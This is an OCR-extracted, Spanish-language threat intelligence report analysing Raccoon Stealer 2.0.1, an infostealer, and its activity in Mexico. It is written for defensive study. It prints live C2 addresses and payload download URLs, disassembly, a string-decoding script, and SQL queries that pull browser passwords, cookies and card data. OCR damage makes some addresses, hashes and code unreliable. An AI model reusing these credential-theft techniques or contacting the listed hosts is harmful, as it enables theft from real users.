Figura 22: Perfilamiento de Raccoon
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ACERCA DE LAS MOTIVACIONES E IMPACTO EN MEXICO

Las motivaciones de Raccoon son totalmente econdmicas, ya que, a pesar de los conflictos
geopoliticos y el dano colateral de uno de sus lideres, no ahondan en esos temas y contindan su
operacion.

Elimpacto en México es grande, debido al esquema de Saas, cualquier persona con un conocimiento
técnico basico puede orquestar un ataque, ya que toda la infraestructura y servicio de Raccoon esta
al alcance de cualquier asociado.

Stealer: System:

racoon (451326) All All

State: City: <1

All All
Philippines (81876)

ISP: Outlook:
Turkey (68104)
India (IN) (66191)

Mexico (60984)

Figura 23: Raccoon Stealer Logs en México

HIGHLIGHTS RACCOON STEALER 2.0.1

e El stealer esta escrito en C++

e Eltamafio ejecutable es alrededor de 55 kb

e Eldescifrado de contrasefas, cookies, mapas guardados (SS) de chrome (AES GCM) ocurre
en el lado del servidor, asi como el formateo de todos los archivos .txt y sus nombres

e Lasdirecciones de los wallets se determinan automaticamente en el lado del servidor
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RACCOON STEALER MALWARE
Dynamic analysis
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Gracias a Diana Tadeo de Ocelot Threat Intelligence por el descubrimiento de estas variantes en la

region.

Al momento de ejecutar el malware se observan peticiones HTTP hacia la IP 206[.]188[.]196[.]200
para enviar informacion del nombre de usuario, el ID de la maquina infectada y entonces el C2

responde con una lista de IPs para las siguientes fases de infeccion.

M |ip.addr == 20.99.132.105 =®RE

No. Time Source Destination Protocol Length Info
4 4,911771 192.168.1.132 206.188.196.200 TCP 66 49783 » 80 [SYN] Seq=0
5 5.880537 206.188.196.2080 192.168.1.132 TCP 66 89 - 49783 [SYN, ACK]
6 5.080616 192.168.1.132 206.188.196.200 TCP 54 49783 - 80 [ACK] Seqg=1
7 5.080749 192.168.1.132 i206.188.196.200 {HTTP 375 POST / HTTP/1.1 (appl
8 5.249655 206.188.196.200 192.168.1.132 TCP 60 80 - 49783 [ACK] Seqg=1
Q 5 264279 720 188 10A 7200 107 1AR 1 122 HTTD 1046 HTTD/1 1 AGA Not Fannd.

Figura 24. Captura del trafico de red

Desde dicha IP se han detectado infecciones de Banking trojans como Agent Tesla e Infostealers
como Redline, sugiriendo la posible relacion de varios actores compartiendo infraestructura:

e http://206.188.196.200/aN7jD0q0O6kT5bK5bQ4eR8fET1xP7hL2vK/vcruntime140.dll
e http://206.188.196.200/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll

e http://206.188.196.200/aN7jD0q06kT5bK5bQ4eR8fET1xP7hL2vK/nss3.dll

e http://206.188.196.200/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll

e http://206.188.196.200/aN7jD0qO6kT5bK5bQ4eR8fET1xP7hL2vK/msvcp140.dll

e http://206.188.196.200/aN7jD0qO6kT5bK5bQ4eR8fET1xP7hL2vK/freebl3.dll
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En el diagrama siguiente, se muestra una relacion de dicha IP con el Infostealer Redline en el pasado:

- .
_ Last serving ip address & RedLine -
[ ]

EXE '
' EXE .
/

EXE L

EXE
@ Collections /

@ Communicating files

2o} Historical ssl certificates

Figura 25. Diagrama de relacion de elementos con IP 206.188.196.200
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Tomando la informaciéon del whois de esta IP, esta cuenta con el correo electrénico:
admin@blnwx.com, y el nombre del registrante: BL Networks.

"handle": "NET-206-188-196-8-2",

"startAddress": "206.188.196.0",

"endAddress": "206.188.197.255",

"ipVersion": "wv4",

"name": "BLNETWORKS-NL-82",

"type": "ALLOCATION",

"parentHandle": "NET-206-188-196-8-1",

"events": [

{

Figura 26. Informacién Whois

Este proveedor de hosting e incluso el segmento de red ha sido ocupado por el grupo TA505, quien
ha utilizado a Raccoon para instalar el RAT ServHelper en el pasado, documentado por Talos,
interesantemente, este grupo también tiene origenes en Ucrania como Raccoon, lo cual podria
explicar una cooperacion entre estos grupos.

ANALISIS DEL MALWARE RACCOON

El binario estd escrito en 32 bits y no esta ofuscado.
MD5: b167ba266d25d54ae5d7a85b6d30309¢e
Primera vez visto: agosto 29, 2022

Otro nombre: 2.0.1-beta.exe

File name |
C:/Users/ricardo martinez/Documents/malware/raccon_7870386306/raccoon_5.exe

File type Entry point Base address MIME

PE32 0040779c > Disasm 00400000 Memory map | e

PE Import | Strings

Sections TimeDateStamp SizeOfImage i | Entropy

0005 2022-08-15 07:59:17 00012000 f 1 |

Hex
Scan Endianness Mode Architecture

Detect It Easy(DiE) LE 32 1386

linker Microsoft Linker(14.29**)[GUI32]

| Options

Figura 27. Informacién general del binario
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Si revisamos las DLLs que el malware importa se observa que son solo 2, estas son las unicas
necesarios para importar y resolver mas médulos y APIs en tiempo de ejecucién.

Address Ordinal Name Library
0040C000 GetProcAddress KERNEL32

8 0040C004 LoadLibraryW KERNEL32

Figura 28. DLLs importadas por el malware

Se identificaron las siguientes DLLs son cargadas en tiempo de ejecucion por el malware:

e Ole32.dll
e  Winlnet.dll
e Advapi32.dll
e User32.dll
e Crypt32.dll
e Shell32.dll
o Bcerypt.dll

Listamos algunas de las APIs interesantes relacionadas con enumerar procesos en el sistema,
ejecucion de comandos y conectividad con Internet:

e 30.rdata:0040C2EC 00000019 C CreateToolhelp32Snapshot
e 39.rdata:0040C370 0000000F C Process32First

e 40.rdata:0040C380 0000000E C Process32Next

e 53.rdata:0040C43C 0000000E C ShellExecuteW

e 70.rdata:0040C548 0000000D C GetUserNameW

e 91.rdata:0040C6B8 00000011 C InternetConnectW

e 92 rdata:0040C6CC 0000000E C InternetOpenW

e 94.rdata:0040C6F0 00000011 C InternetOpenUrlA

e 95.rdata:0040C704 00000011 C InternetOpenUrlW

e 96.rdata:0040C718 00000014 C InternetReadFileExW
e 99.rdata:0040C754 00000011 C HttpOpenRequestW
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Se identifica funcion en direccién 0xF8400A la cual descifra distintas cadenas. Esta funcién recibe 3
parametros, los primeros 2 son offsets de cadenas cifradas y la llave para decodificarlos:

T [.text:0e324914 910 BY /O (8 32 B0 mov €CX, Offset aCVgx ; C Vaxi»
.text:©0324019 ©10 E8 8C 5F @0 ee call string_decrypt_sub_F89FAA ; Call Procedure
.text:00832401E 910 6A B4 push 4
.text:00324020 814 BA 78 C8 32 @O mov edx, offset aBe484cb7536F47 ; "bB484ch7536f479b"
.text:00324025 @14 A3 1C E4 32 ee mov dword_32E41C, eax
.text:0032402A 214 B9 8C C8 32 ee mov ecx, offset aGgg ; "\aGGg"
.text:@032402F 014 E8 76 SF @0 ee call string_decrypt_sub_F89FAA ; Call Procedure
.text:808324834 814 6A 85 push 5
.text:00324036 018 BA 94 C8 32 @@ mov edx, offset a5e@2c914732851 ; "5e82c21473285154"
.text:0032403B 218 A3 €0 E4 32 @0 mov dword_32E400, eax
.text:00324848 018 B9 AB (8 32 @8 mov ecx, offset unk_32C8A8
.text:@0324045 018 E8 60 S5F @0 ee call string_decrypt_sub_F89FAA ; Call Procedure
.text:00832404A 918 6A 66 push 6
.text:0032404C 01C BA Be C8 32 ee mov edx, offset aEe5d9c92e98f6e ; "ce5d9c92e98f6e65"
.text:80324851 @1C A3 7@ E2 32 ee mov dword_32E278, eax
.text:©03240856 ©1C B9 C4 C8 32 @8 mov ecx, offset unk_32C8C4
.text:@032405B ©1C E8 4A S5F @0 ee call string_decrypt_sub_F89FAA ; Call Procedure
.text:008324060 81C 6A 17 push 17h
.text:00324062 828 BA CC C8 32 @@ mov edx, offset aEb61fa@c®119d7 ; “"ebslfadce@ll9d76f”
.text:00324867 @20 A3 6C E4 32 ee mov dword_32E46C, eax
.text:@8324@6C 820 B9 E® C8 32 ee mov ecx, offset unk_32C8E@
.text:00324071 €20 E8 34 SF @0 ee call string_decrypt_sub_F89FAA ; Call Procedure
.text:008324076 820 6A 16 push 16h
.text:00324078 024 BA F8 C8 32 @@ mov edx, offset aD155a359dal496 ; "d155a355dal49e6be”
.text:0032407D 824 A3 F4 E3 32 @@ mov dword_32E3F4, eax
.text:00324882 ©24 B9 ©C C9 32 @8 mov ecx, o-F'Fset unk 32C90C

2480 ANNNIAET NNIPANECN - etrinae cnbkh RRANNRLE? (S@uvmchrond vad with Hawv Tiowm—T11

Figura 29. Llamadas a funcidn que decodifica las strings del malware

Y a continuacion, la légica de ofuscacion utilizada:

esil = local_alloc_dword_F8E@44(64, =3 + 1); 3

ebxl = @; ]

*(_BYTE *)(esil + a3) = j
i|if (23) :
1 g j
) edi2 = a2 - esii; i
) do .
' {

cl3 = *(_BYTE *)(ebx1l % str_len_dword_F8E198(al) + al)J
! edx3 = (_BYTE *)(ebxl + es11), !
; al3 = cl13 ~ *(_BYTE *)(edi2 + ebxl + esil); !
++ebx1; I
*edx3 = al3; ;

' while ( ebxl < a3 ); ]
} i

return esil;

}

ANNNGAA etrina Aerrimt anh FRAFAA-TN (IVAFAARY

Figura 30. Pseudocodigo de la funcion de decodificacion
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El siguiente script es creado para decodificar estas cadenas:
import pykd
while(True):
bp_1 = hex(pykd.reg("eip"))
if int(bp_1,16) == OX6EA003:
eax_add = hex(pykd.reg("eax"))
string = pykd.loadCStr(int(eax_add, 16))
print(string)
# eip_add = hex(pykd.reg("eip"))
elif int(bp_1, 16) == OX6E49E9:
print("termino")
break

pykd.go()

Cadenas interesantes descifradas:

7URL:%s

8USR:%s

9PASS:%s

15 - 0S: %s

17 - RAM: %d MB

24 - Architecture: x%d
26 - CPU: %s (%d cores)
28 - Display Devices:

30formhistory.sqlite

39logins.json

40\autofill.txt

471\cookies.txt

42\passwords.txt

46Content-Type: application/x-www-form-urlencoded; charset=utf-8
47Content-Type: multipart/form-data; boundary=
48Content-Type: text/plain;

49User Data

50wallets

55token:

56nss3.dll

57sqlite3.dll

58SOFTWARE\Microsoft\Windows NT\CurrentVersion
60ProductName

61Web Data

62sqlite3_prepare_v2

63sqlite3_open16

64sqlite3_close

65sqlite3_step
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66sqlite3_finalize
67sqlite3_column_text16
68sqlite3_column_bytes16
69sqlite3_column_blob

Powered by @ OCELOT

70SELECT origin_url, username_value, password_value FROM logins
71SELECT host_key, path, is_secure , expires_utc, name, encrypted_value FROM cookies

72SELECT name, value FROM autofill

75SELECT host, path, isSecure, expiry, name, value FROM moz_cookies

76SELECT fieldname, value FROM moz_formhistory
77cookies.sqlite

78machineld=

79&configld=

80"encrypted_key":"

81stats_version™:
82Content-Type: application/x-object

83Content-Disposition: form-data; name="file"; filename="

84GET

85POST

87MachineGuid

88image/jpeg

89GdiPlus.dll

90Gdi32.dll

91GdiplusStartup

92GdipDisposelmage
93GdipGetlmageEncoders
94GdipGetimageEncodersSize
95GdipCreateBitmapFromHBITMAP
96GdipSavelmageToFile
98CreateCompatibleBitmap
99CreateCompatibleDC

100DeleteObject

101GetObjectW

102SelectObject

103SetStretchBltMode

TO5SELECT name_on_card, card_number_encrypted,
credit_cards

T06NUM:%s

T107HOLDER:%s

T08EXP:%s/%s

T09\CC.txt

TT10NSS_Init

TTTNSS_Shutdown

114PK11_Authenticate

115PK11SDR_Decrypt

T16SECITEM_Freeltem

117hostname":"
118","httpRealm":
119encryptedUsername™:"
120","encryptedPassword":"
121","guid":
122Profiles
124ru

metabaseq.com

expiration_month, expiration_year FROM
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Estas cadenas nos amplian la idea acerca de lo que extrae el malware:

Informacion del equipo:

Passwords and usernames

e Cookies

e Crypto wallets

e Tarjetas bancarias
MUTEX

Antes de que el malware infecte el sistema, este se asegura que solo un proceso de este virus se
esté ejecutando en la computadora, este proceso lo hace mediante la creacién de un mutex Unico,

en este caso: “HJSIDHG#WOEJGSDGOHWEGHSDJG".

]

Ltext:
.text:
.text:
.text:
.text:
.text:
.text:
Ltext:
.text:
.text:

0eFg878el

@eF878e1

@OF87801 OF8 Al 68 E1 F8 ee
©@eF87806 ©F8 BE 80 DC F8 ee
PBF878@B @F8 56

@eF878eC @FC 53

0eF878eD 100 68 @1 ©e 1F ee
0eF87812 104 FF De

@OF87814 ©F8 85 Ce

©@eF87816 ©F8 75 @B

loc_F878e1:

mov eax, open_mutex_dword_F8E168

mov esi, offset aHjsidhgWoejgsd ; "HISIDHG#WOEJGSDGOHWEGHSDIG"
push esi

push ebx

push 1Feee1lh

call eax ; open_mutex_dword_F8E168 ; Indirect Call Near Procedure
test eax, eax ; Logical Compare

jnz short loc_F87823 ; Jump if Not Zero (ZF=8)

Tenemos los siguientes 2 escenarios:

1.

Figura 31. Funcidn open mutex y el mutex

Si el mutex existe, el proceso termina.
2. Si el mutex no existe entonces se genera uno y el programa continua su ejecucion.

T

T

Tvy

Wl =

.text:@eF87801

.text:@0F87801 loc_F87861:

.text:00F87801 8F8 Al 68 E1 F8 @@ mov eax, open_mutex_dword_FBE168

.text:0OF87806 OF8 BE 80 DC F8 00 mov esi, offset aHjsidhgWoejgsd ; "HISIDHGH#WOEJIGSDGOHWEGHSDIG"

.text:@0F8780B OF8 56 push esi

.text:00F8780C OFC 53 push ebx

.text:00F8780D 106 68 @1 @@ 1F ee push 1Feeelh

.text:80F87812 164 FF DO call eax ; open_mutex_dword_F8E168 ; Indirect Call Near Procedure

.text:@0F87814 @F8 85 C@ test eax, eax ; Logical Compare

.text:@OF87816 OF8 75 @B jnz short loc_F87823 ; Jump if Not Zero (ZF=8)

L2 T v
@ ©

push esi .text:0@F87823
push ebx .text:0@F87823 loc_F87823:
push ebx .text:00F87823 @F3 6A ©2 push 2
call create_mutex_dword_F8E104 ; Indirect Call Near Procedure||.text:0@F87825 OFC FF 15 24 E@ F8 @@ call exit_proc_dword_F8E@24 ; I
jmp short loc_F8782B ; Jump

vy
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Después de esto nos encontramos la funcion donde las peticiones de HTTP son hechas. Se observa
el uso del User-Agent “mozzzzzzzzzzz":

@2c
e2c
azc
@3e
@34
@38
83C

a4a
a4
a48

Al 24 E1 32 ee

33 9

68 2C DB 32 @@

8B Fe
B9 75 EC

8F 84 D4 ee ee ee

loc_327DED:

mow eax, internet_open_dword_6EE124

Hor ecx, ecx ; Logical Exclusive OR
push ecx

push ecx

push BCX
push ecx

CR L e

push offset aMozzzzzzzzzzz ; "mMOZZzZzZzzZzZzZZ"

call eax ; internet_open_dword_6EE124 ; Indirect Call Near Procedure
mov esi, eax

may [ebp+var_14], esi

test esi, esi ; Logical Compare

iz loc_327EBR ;3 Jump if Zero (ZF=1)

Figura 33. Llamada al InternetOpenA API con su primer parametro el User-Agentt

Después hace la peticion HTTP y lee la respuesta.

.text:@06E7E3B push edi
.text:@@6E7E3C call esi ; http_sen_req_dword_F8E@10 ; Indirect Call Near Procedure
.text:@@6E7E3E test eax, eax ; Logical Compare
.text:006E7E40 jz short loc_6E7E66 ; Jump if Zero (ZF=1)
L 3
F™E
.text:0B6E7E42 mov esi, @cC35eh
.text:006E7E47 jmp short loc_6E7ES54 ; Jump
Il 1 2
.text:@06E7ES4
.text:006E7ES4 loc_6E7ES54:
.text:@@6E7E54 mov eax, internet_read_file_dword_F8E@FC
.text:006E7ES9 lea ecx, [ebp+var_C] ; Load Effective Address
.text:@@6E7ESC push ecx
.text:@@6E7ESD push esi
.text:@06E7ESE push ebx
.text:@@6E7ESF push edi
.text:006E7E60 call eax ; internet_read file_dword_F8E@FC ; Indirect Call Near Procedure
.text:0@6E7E62 test eax, eax ; Logical Compare
.text:@@6E7E64 jnz short loc_6E7E49 ; Jump if Not Zero (ZF=8)

L J

.text:B@6E7E49
.text:@@6E7E49 loc_6E7E49:

.text:@06E7E49 mov eax, [ebp+var_C]
.text:@06E7E4AC test eax, eax ; Logical Compare
.text:@@6E7E4E jz short loc_6E7E66 ; Jump if Zero (ZF=1)
J
YYYy

Figura 34. Codigo donde se lee la respuesta

Accept: */*\r\n
Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n
User-Agent: mozzzzzzzzzzz\r\n
Host: 206.188.196.200\r\n

> Content-Length: 1@5\r\n
Connection: Keep-Alive\r\n

Cache-Control:

no-cache\r\n

Figura 35. Peticion HTTP
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v HTML Form URL Encoded: application/x-www-form-urlencoded

> Form item: "machineId" = "cedi G 1d |ricardo martinez”

> Form item: "configId" = "ea6e085210142782ca765e8e63fe811d"

Figura 36. Datos enviados por la peticion, machineld, user name y configld

Con la primera peticion HTTP, el malware espera recibir una lista de IPs para descargar archivos
adicionales como:

e vcruntime140.dll
e mozglue.dll
e msvcp140.dll

e nss3.dll

e sqlite3.dll

e softokn3.dll
e Freebl3.dll

e Eventvwr.exe

Una vez que los archivos son descargados, el malware hace una nueva peticién con el User-Agent
“gwrgrwrqwrqwr”, cabe sefialar que el malware usa 2 User-Agent distintos para realizar sus

peticiones:
L = = - .
2" :
FIPIE
.text:08328553
.text:00328553 loc_328553: ; _DWORD
.text:@@328553 81C 53 push ebx
.text:@@328554 820 FF 15 8C E@ 32 @@ call str_lenW_dword_6EE@8C ; Indirect Call Near Procedure
.text:@032855A 81C Al 24 E1 32 @@ mov eax, internet_open_dword_6EE124
.text:0032855F 81C 33 (9 xor ecx, ecx ; Logical Exclusive OR
.text:00328561 81C 51 push ecx
.text:00328562 820 51 push ecx
.text:00328563 824 51 push ecx
.text:00328564 828 51 push ecx
.text:00328565 82C 68 6C DB 32 @@ I push offset aQurqrwrqurquwr ; “qurgrwrgwrguwr” I
.text:0032856A 830 FF Do call €ax ; 1nternet_open_dword_| 5 Indirect Call Near Procedure
.text:@032856C 81C 89 45 FC mov [ebp+var_4], eax
.text:0032856F 81C 85 C@ test eax, eax ; Logical Compare
.text:00328571 81C @F 84 B2 @0 @0 @0 jz loc_328629 ; Jump if Zero (ZF=1)

v

Figura 37. Llamada a InternetOpenA API y su primer parametro el User-Agent

Una vez descargados los archivos los guarda en disco y ejecuta via ShellExecute():

I‘I

:@8327698 ©2C 33 (e xor eax, eax ; Logical Exclusive OR

1@032769A ©2C 50 push eax ; _DWORD

190327698 @30 50 push eax ; _DWORD

:0032769C 034 50 push eax ; _DWORD

:9@32769D @38 53 push ebx ; _DWORD

:@0@32769E ©3C 58 push eax ; _DWORD

:@032769F 048 50 push eax ; _DWORD

:0@3276A0 @44 FF 15 14 E@ 32 ee call shell_execute_dword_F8E@14 ; Indirect Call Near Procedure

P

Figura 38. Llamada a ShellExecute API
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LLegamos a otra funcion donde se cargan distintos métodos para interactuar con los archivos
“logins.json” y “formhistory.sqlite”, estos archivos se usan para guardar credenciales de acceso del
navegador firefox y que de poder abrirlos se procede a descifrarlos:

if ( hModule )

{
dword_7EE49C
dword_7EE4B4
dword_7EE4B8
dword_7EE4AC
dword_7EE4A8
dword_7EE4A4
dword_7EE490
dword_7EE494
dword_7EE4AQ

dword_7EE498 =

GetProcAddress

dword_7EE4C@

dword_7EE4BC

dword_7EE4B@
}

return dword_7EE49C && dword_7EE4B4 && dword_7EE4B8 && dword_7EE4A8 && dword_7EE4A4 && dword_7EE4AC;

(int (__cdecl *)(_DWORD))GetProcAddress_@(hModule, dword_7EE2BC);
GetProcAddress_@(hModule, nss_shutdonw_dword_7EE3EC);
(int)GetProcAddress_@(hlModule, pkll_getinternel_key_dword_7EE428);
(int)GetProcAddress_@(hModule, pkll_free_slot_dword_7EE378);
(int)GetProcAddress_@(hModule, pkll_authenticate_dword_7EE438);
(int)GetProcAddress_@(hModule, pkll decrypt_dword_7EE474);
(int)GetProcAddress_@(hlModule, free_item_dword_7EE284);

(int (__cdecl *)(_DWORD, _DWORD))GetProcAddress_e(hModule, sql_lite_open_dword_FB8E1F8);

(int (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))GetProcAddress_@(
hModule,

sql_lite prepaere_dword_F8E1C4);

(int (__cdecl *)(_DWORD))GetProcAddress_e(hModule, dword_7EE234);
_@(hModule, lpProcName);
(int (__cdecl *)(_DWORD, _DWORD))GetProcAddress_@(hModule, dword_7EE1C@);
(int (__cdecl *)(_DWORD))GetProcAddress_@(hModule, sql_lite fin_dword_F8E1E®);
(int (__cdecl *)(_DWORD))GetProcAddress_e(hModule, dword_7EE2@8);

Figura 39. Funciones para procesar archivos con informacion sensible

Ahora vemos donde se copia el archivo logins.json para su futuro uso.

v50 = host_name_dword_7EE398;

vA2 = dword_7EE38C;

v49 = ecrypted_uname_dword_7EE2D4;
vA8 = encrypte_pass_dword_7EE32C;
vad6 = dword_7EE399;

v4d = local_alloc_dword_F8E@44(64, 520);

v53 = local_alloc_dword_F8E@44(64, 520);

v5 = off_7EE@@@(v4, a3,|login_json_dword_7EE30C); |

v45 = v5;

v6 = MB3;

if ( !sub_7EA6CF() ||| lcopy fileW dword F8E184(v5, v53, @) )|
{

local_free_dword_6EE@C8(Vv5);
delete_fileW_dword_F8E@F4(v53);

Figura 40. Pseudocodigo para interactuar con logins.json

Al final de la funcion principal del malware tenemos un par de funciones mds que se usan para enviar

la informacién recolectada hacia el C2.
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TTPs
Technique Description
Defense T1140 - | Raccoon Stealer v2 decodes strings and the C2 configuration in the
Evasion Deobfuscate/Decode malware using RC4 and base64.
Files or Information
Defense T1027 - Obfuscated | Raccoon Stealer v2 uses RC4-encrypted strings.
Evasion Files or Information
Credential | T1539 - Steal Web | Raccoon Stealer v2 harvests cookies from popular browsers.
Access Session Cookie
Credential | T1555.003 - | Raccoon Stealer v2 collects passwords from popular browsers.
Access Credentials from
Password Stores:
Credentials from Web
Browsers
Discovery | T1083 - File and | Raccoon Stealer v2 lists files and directories to grab files through all
Directory Discovery disks.
Discovery | T1057 - Process | Raccoon Stealer v2 lists the current running processes on the system.
Discovery
Discovery | T1012 — Query Registry | Raccoon Stealer v2 queries the Windows Registry key at
HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid to retrieve
the MachineGuid value.
Discovery | T1518 -  Software | Raccoon Stealer v2 lists all installed software for the infected
Discovery machine, by querying the Windows Registry key at
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\uninstall
Discovery | T1082 - System | Raccoon Stealer v2 collects OS version, host architecture, CPU
Information Discovery information, RAM capacity and display device information.
Discovery | T1614 - System Time | Raccoon Stealer v2 collects the time zone information from the
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Discovery system.
Collection | T1119 - Automated | Raccoon Stealer v2 scans the disks and automatically collects files.
Collection
Collection | T1005 - Data from | Raccoon Stealerv2 collects credentials of cryptocurrency wallets from
Local System the local system.
Collection | T1113 - Screen | Raccoon Stealer v2 captures a screenshot of the victim’s desktop.
Capture
Command | T1071.001 - | Raccoon Stealer v2 uses HTTP for C2 communications.
and Application Layer
Control Protocol: Web
Protocols
Command | T1041 - Exfiltration | Raccoon Stealer v2 exfiltrates data over the C2 channel.
and Over C2 Channel
Control
Command | T1105 - Ingress Tool | Raccoon Stealer v2 downloads legitimate third-party DLLs for data
and Transfer collection onto compromised hosts.
Control
Execution | T1106 — Native API Raccoon Stealer v2 has the ability to launch files using ShellExecuteW.
Defense T1055.001 - Process | Raccoon Stealer v2 has the ability to load DLLs via LoadLibraryW and
Evasion Injection: Dynamic-link | GetProcAddress.
Library Injection
Defense T1407 - Download New | Raccoon Stealer v2 downloads its next stage from a remote host
Evasion Code at Runtime

This information is property of Metabase Q, Inc., © All rights reserved

metabaseq.com contact@metabaseq.com

&) oCELOT

() METABASE Q


mailto:contact@metabaseq.com

() METABASE Q Powered by @ OCELOT

IOCs

Raccoon v2
e b167ba266d25d54ae5d7a85b6d30309e
e df7235fdc1423e6f24abf308ch880e34
e 7aB89d5f1bfb27c4c1d5d0c5468eac933
e 25eb150db69b732d1b81efb69cf8281d

URLs
e http://37[.]139[.]129[.]142/htdocs/QoWxABBXerGPCWw/[.]exe
e http://206[.]188[.]196[.]200
e http://206.188.196.200/aN7jD0qO6kT5bK5bQ4eR8fET1xP7hL2vK/freebl3.dll
e http://206.188.196.200/aN7jD0qO6kT5bK5bQ4eR8fET1xP7hL2vK/msvcp140.dll
e http://206.188.196.200/aN7jD0q0O6kT5bK5bQ4eR8fET1xP7hL2vK/vcruntime140.dll
e http://206.188.196.200/
e http://206.188.196.200/33e9cbaade1b0d771e8b4a5feb8ad701
e http://206.188.196.200/aN7jD0qO6kT5bK5bQ4eR8fET1xP7hL2vK/nss3.dll
e http://206.188.196.200/aN7jD0qO6kT5bK5bQ4eR8fET1xP7hL2vK/sqlite3.dll
e http://206.188.196.200/aN7jD0q06kT5bK5bQ4eR8fET1XP7hL2vK/mozglue.dll
e http://206.188.196.200/aN7jD0q06kT5bK5bQ4eR8fET1xP7hL2vK/softokn3.dll
e http://206.188.196.200/ae9c072741a9375509a70a2139258a20

Mutex:
e HJSIDHG#WOEJGSDGOHWEGHSDJG

User-Agent:
e MO0Zzzzzzz7777ZZ
e qwrgrwrgwrgwr
e rgqwrwqrqwrgw

CONCLUSIONES

Raccoon se logré ganar un puesto en el top 5 de Infostealers, la facilidad del manejo y operacion de
este malware lo ha hecho muy popular entre los cibercriminales, lleva ya mas de 3 afios en el
mercado, por lo que ha sabido mejorar y evolucionar. En los siguientes meses podremos saber si
detuvieron la operacion, si tendremos un rebranding o mds semillas de infostealers generando
nuevos grupos. Ataques como el de Okta y Cisco, comenzaron con la venta de un stealer log, las
credenciales filtradas por estos representan un riesgo potencial, mas aln cuando estas, son
credenciales a sistemas criticos en la infraestructura empresarial.

En Metabase Q, a través de nuestro servicio de Ocelot Threat Intelligence, monitoreamos este tipo
de grupos en LATAM para ofrecer indicadores de ataque y compromiso a nuestros clientes que les
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permita tomar acciones preventivas, ofrecemos contexto de estos adversarios para entender sus
motivaciones, estrategias, técnicas que eventualmente junto con nuestro servicio de Takedown y
apoyo de la policia local, borrarlos del ciberespacio. Finalmente, con nuestro servicio de APT
Simulation, creamos este tipo de Ransomware en nuestro laboratorio y lo replicamos en la red de
nuestros clientes de forma controlada, para fortalecer los controles de monitoreo, deteccion y
respuesta en procesos, gente y tecnologia.
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